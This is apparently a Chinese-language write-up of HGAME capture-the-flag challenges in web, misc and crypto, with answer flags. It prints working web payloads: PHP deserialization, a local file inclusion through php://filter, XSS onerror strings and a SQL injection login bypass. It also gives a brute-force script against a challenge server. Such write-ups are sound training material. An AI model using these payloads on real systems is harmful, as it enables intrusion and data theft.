web
Random? [250]
根据提示 “PS:网不好vim线上改代码真是致命”,可能存在 vim 交换文件泄露。下载 /.random.php.swp
后在目录下执行 vim -r random.php
命令恢复源码
审计发现存在反序列化漏洞,构造 payload 使 public
成为 secret
的引用:
emmm=O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}
提交请求即可获取 flag
Flag: hgame{&_Is_wondeRful!@#}
草莓社区-1 [100]
根据提示,考察 PHP 的 LFI (本地文件包含)漏洞,将参数 mao
的值改为目标 ../flag.php
提交即可返回 base64 编码后的文件内容(Content-Type 被设为 image/png 导致显示为图片),解码即可获取 flag
Flag: hgame{#Ma0_pi4n_haO_k4n_ma#}
草莓社区-2 [150]
还是 LFI 漏洞,进行尝试发现可以利用 php://filter
伪协议,构造 payload 提交即可获取 base64 编码后的文件内容,解码即可获取 flag
mao=php://filter/read=convert.base64-encode/resource=../flag.php
Flag: hgame{!m4o_pi4n_ChaO_hao_kan!}
xss-1 [100]
根据过滤代码,构造 payload:
- 过滤了
script
、image
,可使用<img>
等标签 - 过滤了
(
,可对内容进行 Unicode 编码
<img src="♂" onerror="alert(1)">
Flag: hgame{#X5s_soo00o_e4sy#}
xss-2 [150]
根据过滤代码,构造 payload:
- 注入点在
<input>
标签内,可对其增加type
属性,如image
等 - 过滤了
script
、image
、img
、(
,可对内容进行 Unicode 编码
♂" type="image" src="♂" onerror="alert(1)" name="♂
Flag: hgame{#LuCkY_y0u_a1ert_l#}
最简单的sql题 [50]
SQL 注入送分题,根据提示需要登录 admin 账号,构造 payload 如
username=admin&pwd=123456' or '1'='1
提交请求即可获取 flag
Flag: hgame{@s0ng_fen_ti@}
misc
咻咻咻 [200]
ZIP 伪加密 + 音频 LSB。使用十六进制编辑器修改压缩包的加密标志位为 00 00
,即可正常解压出一个 WAV 文件(使用 7-zip 等软件可无视伪加密)
然后使用 ragibson/Steganography 即可从音频文件中提取出隐写数据
$ python WavSteg.py -r -s 咻咻咻.wav -o output -n 1 -b 1000 && cat output
aGdhbWV7aDRwcHlfeGl1X1hpdV94eHh4aVVVfQ==
经 base64 解码即得 flag
Flag: hgame{h4ppy_xiu_Xiu_xxxxiUU}
White cosmos [170]
使用十六进制编辑器打开 pure.txt,可见其并非全是空格(b'\x09')组成,而有部分是制表符(b'\x20')。将制表符替换为 1,空格替换为 0,转换为字符串即得 flag
Flag: hgame{Welc0me_2_WhIte_sp4ce}
easy password [150]
爆破题,使用 ARCHPR
工具即可爆破得到解压密码
Flag: hgame{0pos_You_5ound_m3_HAHA}
mysterious file header [200]
使用十六进制编辑器打开文件,发现文件头 30 40 05 B4
存在异常,可以想到应该是压缩文件的 50 4B 03 04
,修改保存后解压可以发现 java 类文件 *.class
使用 jre9 运行程序,点击四个按钮可以得到四个数字,根据提示猜测是 IP 地址。尝试访问各种组合,发现 “http://[REDACTED]/” 挂有一个博客,在文章中可以找到 flag
Flag: hgame{Y0u_Mu5t_know_f1le_header_and_java}
crypto
easy rsa [150]
题中给出 RSA 算法中的数据 N、e、c、h=p+q,在 factordb 查询发现尚未有已知分解
由于给出 p 与 q 之和,展开 (p-1)(q-1)
可以得到 pq-p-q+1
,即 N-h+1
,将数据代入程序计算即可解得 flag
import binascii
def exGCD(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = exGCD(b % a, a)
return (g, x - (b // a) * y, y)
def invMod(a, m):
g, x, y = exGCD(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
d = invMod(e, N - h + 1)
print(binascii.a2b_hex('%x' % pow(c, d, N)))
Flag: hgame{phi_is_important_too!}
The same simple RSA [150]
需要用到 openssl 与 ius/rsatool 工具,首先从公钥文件 pubkey.pem 中提取出模数 N
$ openssl rsa -pubin -in pubkey.pem -text -modulus
# ...[OMITTED]...
Modulus=C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD
# ...[OMITTED]...
在 factorDB 查询即可得到分解质数 p 与 q,通过 rsatool 生成私钥文件
$ python rsatool.py -f PEM -o prvkey.pem -p ... -q ...
使用私钥解密文件 flag.enc 即可得到 flag
$ openssl rsautl -decrypt -in flag.enc -inkey prvkey.pem -out flag && cat flag
hgame{Double_ki11!}
Flag: hgame{Double_ki11!}
xasr [300]
解析施工中(据说可能存在更优解法),爆破脚本如下:
from functools import reduce
from pwn import *
def xor(a, b):
return ''.join([chr(ord(x[0]) ^ ord(x[1])) for x in zip(a, b)])
def add(a, b):
return ''.join([chr((ord(x[0]) + ord(x[1])) % 256) for x in zip(a, b)])
def sub(a, b):
return ''.join([chr((ord(x[0]) - ord(x[1])) % 256) for x in zip(a, b)])
nc = remote('[REDACTED]', 23555)
nc.sendline('')
nc.recvline()
nc.recvline()
possibleFlagBytes = [[] for j in range(32)]
requests = 0
for k in range(32):
plainText = chr(k + 65) * 32
nc.sendline(plainText)
cipherText = nc.recvline(keepends=False)[26:].decode('hex')
for j in range(32):
if len(possibleFlagBytes[j]) > 0:
if len(list(reduce(lambda x, y: set(x) & set(y), possibleFlagBytes[j]))) == 1:
continue
if len(possibleFlagBytes[j]) <= k:
for i in range(len(possibleFlagBytes[j]), k + 1):
possibleFlagBytes[j].append([])
print('Cracking: flag[%d],\tusing No.%d pair of plainText and cipherText...\tRequests: %d' % (
j, k + 1, requests))
for i in range(33, 127):
msg = list(plainText)
fm = xor(sub(msg[j - 1], chr(i)), chr(i))
msg[j] = fm
nc.sendline(''.join(msg))
cipherText_new = nc.recvline(keepends=False)[26:].decode('hex')
if add(chr(i), xor(chr(i), cipherText_new[j])) == cipherText[j - 1]:
possibleFlagBytes[j][k].append(i)
requests += 1
flag = ''
for i in range(32):
flag += chr(list(reduce(lambda x, y: set(x) & set(y), possibleFlagBytes[i]))[0])
print('Flag is: ' + flag)
Flag: hgame{N0w_U_knoW_What_1s_CPA=.=}
Caesar&&Caesar [200]
Vigenère 加密,通过 jameslyons/python_cryptanalysis 的词频分析脚本可以破解出第一句的明文
$ python2 break_vigenere.py
# ...[OMITTED]...
-137.637485699 Vigenere, klen 7 :"ANOTHER", MANYYEARSLATERASHEFACEDTHEFIRINGSQUAD
# ...[OMITTED]...
利用搜索引擎即可发现该句来自《百年孤独》,根据提示即可得到 flag
Flag: hgame{One_Hundred_Years_of_Solitude}
violence [200]
经过修改的 Affine 加密,修改 jameslyons/python_cryptanalysis 的脚本,重写加解密算法即可破解出明文
def encipher(self, string):
ret = ''
for c in string:
if 96 < (ord(c)+97) < 123:
ret += chr(self.a * (ord(c) + self.b - 97) % 26 + 97)
else:
ret += c
return ret
def decipher(self, string):
ret = ''
for c in string:
if 96 < (ord(c)+97) < 123:
ret += chr((self.inv_a * ((ord(c) - 97) - self.a * self.b)) % 26 + 97)
else:
ret += c
return ret
Flag: hgame{sometimes_it_takes_a_bit_of_violence}
0 Comments